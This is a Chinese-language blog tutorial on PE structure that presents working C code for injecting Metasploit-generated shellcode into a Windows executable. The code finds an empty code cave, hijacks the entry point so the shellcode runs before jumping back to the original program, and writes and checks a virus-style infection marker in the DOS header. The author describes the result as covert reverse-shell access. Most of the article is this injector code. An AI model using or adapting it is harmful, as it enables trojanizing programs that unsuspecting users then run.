2.12 PE結構:實現PE位元組註入

来源:https://www.cnblogs.com/LyShark/archive/2023/09/11/17692859.html
-Advertisement-
Play Games

本章筆者將介紹一種通過Metasploit生成ShellCode並將其註入到特定PE文件內的Shell植入技術。該技術能夠劫持原始PE文件的入口地址,在PE程式運行之前執行ShellCode反彈,執行後掛入後臺並繼續運行原始程式,實現了一種隱蔽的Shell訪問。而我把這種技術叫做位元組註入反彈。位元組註... ...


本章筆者將介紹一種通過Metasploit生成ShellCode並將其註入到特定PE文件內的Shell註入技術。該技術能夠劫持原始PE文件的入口地址,在PE程式運行之前執行ShellCode反彈,執行後掛入後臺並繼續運行原始程式,實現了一種隱蔽的Shell訪問。而我把這種技術叫做位元組註入反彈。

位元組註入功能調用WritePEShellCode函數,該函數的主要作用是接受用戶傳入的一個文件位置,並可以將一段通過Metasploit工具生成的有效載荷註入到特定文件偏移位置處。

讀者在使用該函數之前需要通過WinHex找到註入位置,我們以如下截圖中的30352為例;

接著讀者需要自行準備一段ShellCode代碼,只保留代碼部分去掉頭部變數參數,如下所示;

接著我們使用如下這段代碼中的WritePEShellCode函數,通過傳入指定PE文件路徑,指定文件便宜,以及指定的ShellCode文件路徑,即可自動將其壓縮為一行併在壓縮後將代碼寫出到指定的可執行文件內。

// 將ShellCode寫出到PE程式的特定位置
// 參數1: 指定PE路徑 參數2: 指定文件中的偏移(十進位) 參數3: 指定ShellCode文件
void WritePEShellCode(const char* FilePath, long FileOffset, const char* ShellCode)
{
  HANDLE hFile = NULL;
  FILE* fpointer = NULL;
  DWORD dwNum = 0;

  int count = 0;
  char shellcode[8192] = { 0 };
  unsigned char save[8192] = { 0 };

  // 打開一段ShellCode代碼並處理為一行
  if ((fpointer = fopen(ShellCode, "r")) != NULL)
  {
    char ch = 0;
    for (int x = 0; (ch = fgetc(fpointer)) != EOF;)
    {
      if (ch != L'\n' && ch != L'\"' && ch != L'\\' && ch != L'x' && ch != L';')
      {
        shellcode[x++] = ch;
        count++;
      }
    }
  }
  _fcloseall();

  // 將單位元組合併為雙位元組
  for (int x = 0; x < count / 2; x++)
  {
    unsigned int char_in_hex;
    if (shellcode[x] != 0)
    {
      sscanf(shellcode + 2 * x, "%02X", &char_in_hex);

      // 每十六位元組換一行輸出
      if ((x+1) % 16 == 0)
      {
        printf("0x%02X \n", char_in_hex);
      }
      else
      {
        printf("0x%02X ", char_in_hex);
      }
      save[x] = char_in_hex;
    }
  }

  // 打開PE文件並寫出ShellCode到指定位置
  hFile = CreateFile(FilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (INVALID_HANDLE_VALUE != hFile)
  {
    SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN);
    bool ref = WriteFile(hFile, save, count/2 , &dwNum, NULL);
    if (true == ref)
    {
      printf("\n\n[*] 已註入 ShellCode 到PE文件 \n[+] 註入起始FOA => 0x%08X \n",FileOffset);
    }
    CloseHandle(hFile);
  }
}

我們通過傳入WritePEShellCode("d://lyshark.exe", 30352, "d://shellcode.txt");參數,運行後則可將特定文本中的機器碼註入到30352的位置處,讀者也可以通過使用WinHex跳轉到對應位置觀察,如下所示;

當然了上述方法註入到PE文件中我們需要手動分析尋找空餘塊,併在註入成功後還需要自行修正PE文件內的入口地址等,這種方式適合於對PE結構非常熟悉的人可以,但也要花費一些精力去尋找分析,如下代碼則是實現了自動化註入功能,該代碼中FindSpace()函數用於從代碼節的末尾開始搜索,尋找特定長度的空餘位置,當找到合適的縫隙後便返回縫隙首地址。

此時dwOep變數記憶體儲的是該程式原始的OEP入口位置,接著將入口地址賦值到*(DWORD *)&shellcode[5]也就是放入到shellcode機器碼的第六個位置處,此處將變更為跳轉到原始入口的指令集,接著調用memcpy函數將shellcode代碼拷貝到新分配的dwAddr記憶體中,此處的strlen(shellcode) + 3代表的是ShellCode中剩餘的\xff\xe0\x00部分,最後將當前EIP指針設置為我們自己的ShellCode所在位置,通過pNtHeader->OptionalHeader.AddressOfEntryPoint賦值設置此變數,至此這個註入器就算實現啦。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>

// \xb8\x90\x90\x90\x90 => mov eax,90909090
// \xff\xe0\x00 => jmp eax
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";

// 縫隙的搜索從代碼節的末尾開始搜索,有利於快速搜索到縫隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
  // 跳過可選頭長度的數據
  PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
    (((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));

  // 獲取到文件末尾的位置
  DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
  dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;

  LPVOID lp = malloc(sizeof(shellcode));
  memset(lp, 0, sizeof(shellcode));

  while (dwAddr > pSec->Misc.VirtualSize)
  {
    int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
    if (nRet == 0)
      return dwAddr;
    dwAddr--;
  }
  free(lp);
  return 0;
}

int main(int argc, char* argv[])
{
  HANDLE hFile, hMap = NULL;
  LPVOID lpBase = NULL;

  hFile = CreateFile(L"d://lyshark.exe", GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
  lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);

  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
  PIMAGE_NT_HEADERS pNtHeader = NULL;
  PIMAGE_SECTION_HEADER pSec = NULL;
  IMAGE_SECTION_HEADER imgSec = { 0 };

  if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  {
    printf("[-] 文件非可執行文件 \n");
    return -1;
  }
  pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);

  // 查找空餘位元組
  DWORD dwAddr = FindSpace(lpBase, pNtHeader);
  printf("[*] 找到 %d 位元組 | 起始地址: %X \n", sizeof(shellcode), dwAddr);

  // 獲取到原入口地址
  DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;

  // \xb8 => 填充的就是原始程式的OEP
  *(DWORD *)&shellcode[5] = dwOep;
  printf("[-] 原始入口地址: 0x%08X \n", dwOep);

  // 將shellcode 拷貝到dwAddr記憶體空間里,拷貝長度strlen(shellcode) + 3
  memcpy((char *)dwAddr, shellcode, strlen(shellcode) + 3);
  dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;
  printf("[-] 拷貝記憶體長度: 0x%08X \n", dwAddr);

  // 將新的入口地址,賦值給原始程式的地址上
  pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
  printf("[+] 修正新入口地址: 0x%08X \n", pNtHeader->OptionalHeader.ImageBase + dwAddr);

  UnmapViewOfFile(lpBase);
  CloseHandle(hMap);
  CloseHandle(hFile);

  system("pause");
  return 0;
}

讀者可自行編譯並運行上述代碼,當運行結束後會將ShellCode全局變數中的指令集,寫入到lyshark.exe程式內,並修正當前程式的OEP入口處,此時讀者可運行lyshark.exe程式,看是否能夠正常執行起來,如下圖所示;

此時讀者可自行打開x64dbg調試器,觀察此時的程式入口處已經變成了0x47BFF3執行到最後則通過jmp eax跳轉到了原始的程式入口處繼續執行,這也就是空位元組註入的功能,當讀者自己將nop指令替換為任意特殊的彙編指令時,也就實現了一款註入Shell版本的軟體。

當我們對特定的程式插入Shell後,則還需要對該程式增加一個標誌,在PE結構中有許多地方可以寫入這個標誌,例如DOS頭部存在一個e_cblp變數,通過向該變數寫入一個標誌,當需要判斷是否被感染時讀取此處並檢查是否存在特定值即可,如下代碼則是一個檢查實現方式。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>

#define VIRUSFLAGS 0xCCCC

// 向指定文件寫入感染標誌
BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
  DWORD dwNum = 0;
  SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
  WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);
  return TRUE;
}

// 檢查文件是否被感染
BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
  DWORD dwSigNum = 0;
  DWORD dwNum = 0;
  SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
  ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);

  if (dwSigNum == dwSig)
    return TRUE;
  return FALSE;
}

int main(int argc, char* argv[])
{
  HANDLE hFile, hMap = NULL;
  LPVOID lpBase = NULL;

  hFile = CreateFileA("d://lyshark.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
  lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);

  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
  PIMAGE_NT_HEADERS pNtHeader = NULL;
  PIMAGE_SECTION_HEADER pSec = NULL;
  IMAGE_SECTION_HEADER imgSec = { 0 };

  if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  {
    printf("[-] 文件非可執行文件 \n");
    return -1;
  }

  pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);

  // 寫入感染標誌
  WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);

  // 返回真說明感染過
  if (CheckSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile))
  {
    printf("[+] 文件已被感染,無法重覆感染. \n");
  }

  system("pause");
  return 0;
}

由於e_cblp是第二個欄位,所以在填充後我們打開WinHex就可以看到變化,如下圖所示;

本文作者: 王瑞
本文鏈接: https://www.lyshark.com/post/240d333e.html
版權聲明: 本博客所有文章除特別聲明外,均採用 BY-NC-SA 許可協議。轉載請註明出處!

文章作者:lyshark (王瑞)
文章出處:https://www.cnblogs.com/LyShark/p/17692859.html
本博客所有文章除特別聲明外,均採用 BY-NC-SA 許可協議。轉載請註明出處!
您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 使用<property>標簽的value屬性配置原始數據類型和ref屬性配置對象引用的方式來定義Bean配置文件。這兩種情況都涉及將單一值傳遞給Bean。那麼如果您想傳遞多個值,例如Java集合類型,如List、Set、Map和Properties怎麼辦?為了處理這種情況,Spring提供了四種類型 ...
  • 裝飾器 裝飾器的簡易版本 import time def index(): time.sleep(3) print('from index') def home(): print('from home') def func(): print('from func') def outer(func_n ...
  • 數據來源:House Prices - Advanced Regression Techniques 參考文獻: Comprehensive data exploration with Python 1. 導入數據 import pandas as pd import warnings warnin ...
  • SpringBoot-Learning系列之Kafka整合 本系列是一個獨立的SpringBoot學習系列,本著 What Why How 的思想去整合Java開發領域各種組件。 消息系統 主要應用場景 流量消峰(秒殺 搶購)、應用解耦(核心業務與非核心業務之間的解耦) 非同步處理、順序處理 實時數據 ...
  • 前言 最近為一個公眾號h5商城接入了微信支付功能,查找資料過程中踩了很多坑,以此文章記錄一下和大家分享 前期準備 公眾號認證 微信支付功能需要開通企業號併進行資質認證,費用一年300,且需企業營業執照等信息,對公賬戶打款驗證 登錄微信公眾平臺https://mp.weixin.qq.com/,創建服 ...
  • 本文深入探討了Go語言中的代碼包和包引入機制,從基礎概念到高級應用一一剖析。文章詳細講解瞭如何創建、組織和管理代碼包,以及包引入的多種使用場景和最佳實踐。通過閱讀本文,開發者將獲得全面而深入的理解,進一步提升Go開發的效率和質量。 關註公眾號【TechLeadCloud】,分享互聯網架構、雲服務技術 ...
  • 在併發編程中我們為啥一般選用創建多個線程去處理任務而不是創建多個進程呢?這是因為線程之間切換的開銷小,適用於一些要求同時進行並且又要共用某些變數的併發操作。而進程則具有獨立的虛擬地址空間,每個進程都有自己獨立的代碼和數據空間,程式之間的切換會有較大的開銷。 ...
  • 日誌是應用程式的重要組成部分。無論是服務端程式還是客戶端程式都需要日誌做為錯誤輸出或者業務記錄。在這篇文章中,我們結合log4rs聊聊rust 程式中如何使用日誌。 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...